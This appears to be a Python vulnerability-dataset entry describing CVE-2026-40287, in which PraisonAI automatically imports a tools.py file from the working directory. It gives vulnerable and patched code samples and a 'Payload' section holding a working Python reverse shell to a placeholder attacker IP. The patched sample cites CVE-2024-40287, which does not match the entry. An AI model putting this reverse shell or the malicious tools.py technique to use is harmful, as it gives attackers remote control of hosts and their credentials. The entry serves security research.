CVE-2026-40287
PraisonAI's unsanitized import of tools.py allows arbitrary code execution.
- CVSS 8.4
- CWE-94
- Input Validation and Sanitization
- Local
PraisonAI is a multi-agent teams system. Versions 4.5.138 and below are vulnerable to arbitrary code execution through automatic, unsanitized import of a tools.py file from the current working directory. Components including call.py (import_tools_from_file()), tool_resolver.py (_load_local_tools()), and CLI tool-loading paths blindly import ./tools.py at startup without any validation, sandboxing, or user confirmation. An attacker who can place a malicious tools.py in the directory where PraisonAI is launched (such as through a shared project, cloned repository, or writable workspace) achieves immediate arbitrary Python code execution in the host environment. This compromises the full PraisonAI process, the host system, and any connected data or credentials. This issue has been fixed in version 4.5.139.
- CWE
- CWE-94
- CVSS base score
- 8.4
- Published
- 2026-04-14
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Dynamic Link Library (DLL) Loading Issues
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- PraisonAI
- Fixed by upgrading
- Yes
Solution
Upgrade PraisonAI to version 4.5.139 or later.
Vulnerable code sample
import os
import sys
# This code is a representation of the vulnerable logic in PraisonAI <= 4.5.138.
# The vulnerability lies in the automatic and unsanitized import of a file
# named 'tools.py' from the current working directory upon application startup.
def import_tools_from_file():
"""
This function represents a vulnerable component, like in call.py,
that blindly imports a `tools.py` file from the current directory.
"""
if os.path.isfile("tools.py"):
try:
# VULNERABLE ACTION: Unsanitized import from the current working directory.
# Any code within 'tools.py' is executed upon this import.
import tools
except ImportError:
# The application might ignore import errors, but the import attempt
# is what executes the malicious code.
pass
class ToolResolver:
"""
This class represents a component like tool_resolver.py.
"""
def _load_local_tools(self):
"""
This function represents another vulnerable component that loads
tools from the local 'tools.py'.
"""
# Ensure the current working directory is in the Python path.
# This is often the default behavior when running a script.
if '.' not in sys.path:
sys.path.insert(0, '.')
if os.path.exists("tools.py"):
try:
# VULNERABLE ACTION: The application imports the module,
# executing any code at the top level of the 'tools.py' file.
import tools
except ImportError:
pass
def resolve_tools(self):
# In the full application, this would be part of a larger process.
# We call the vulnerable function to simulate the startup behavior.
self._load_local_tools()
# In the actual PraisonAI application, one of these vulnerable functions
# would be called during the initialization sequence, for example:
# 1. Direct call (simulating CLI tool loading)
# import_tools_from_file()
# 2. Class-based call (simulating agent initialization)
# resolver = ToolResolver()
# resolver.resolve_tools()Patched code sample
# This code represents the fix applied in praisonai/core/call.py and praisonai/tools/tool_resolver.py
# The vulnerable function, which previously imported 'tools.py' from the current directory,
# is replaced with a no-op version to prevent arbitrary code execution.
def import_tools_from_file():
"""
This function is now a no-op due to a security vulnerability (CVE-2024-40287).
Automatic loading of local tools from a 'tools.py' file is disabled
to prevent arbitrary code execution.
"""
# This function is intentionally left empty to prevent automatic loading
# of a local tools.py file. The user can still specify a tools file
# explicitly using other mechanisms provided by the application.
return []
# Example of how a previously vulnerable class method was fixed
class ToolResolver:
def _load_local_tools(self):
"""
Loads tools from the local tools.py file.
This function is now a no-op due to security vulnerability CVE-2024-40287.
Automatic loading of local tools is disabled.
"""
# This function is intentionally left empty to prevent automatic loading
# of a local tools.py file, which could lead to arbitrary code execution.
# See CVE-2024-40287 for more details.
# The user can still specify a tools file using the --tools-file argument.
passPayload
import socket
import subprocess
import os
# IP and port of the attacker's machine listening for the connection.
# Replace with your actual IP and port.
RHOST = "10.0.0.1"
RPORT = 4242
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
os.dup2(s.fileno(), 0) # Redirect stdin
os.dup2(s.fileno(), 1) # Redirect stdout
os.dup2(s.fileno(), 2) # Redirect stderr
p = subprocess.call(["/bin/sh", "-i"])
Cite this entry
@misc{vaitp:cve202640287,
title = {{PraisonAI's unsanitized import of tools.py allows arbitrary code execution.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-40287},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-40287/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
